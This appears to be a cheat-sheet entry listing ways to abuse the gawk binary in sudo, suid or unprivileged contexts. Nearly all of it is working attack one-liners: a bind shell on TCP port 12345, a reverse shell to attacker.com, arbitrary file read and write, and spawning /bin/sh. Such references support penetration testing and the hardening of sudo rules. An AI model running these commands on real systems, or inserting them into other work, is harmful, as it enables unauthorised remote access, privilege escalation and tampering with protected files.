gawk

Bind Shell

Context: sudo, suid, unprivileged

gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

File Read

Context: sudo, suid, unprivileged

gawk '//' /path/to/input-file

File Write

Context: sudo, suid, unprivileged

gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

Reverse Shell

Context: sudo, suid, unprivileged

gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

Shell

Context: sudo, suid, unprivileged

gawk 'BEGIN {system("/bin/sh")}'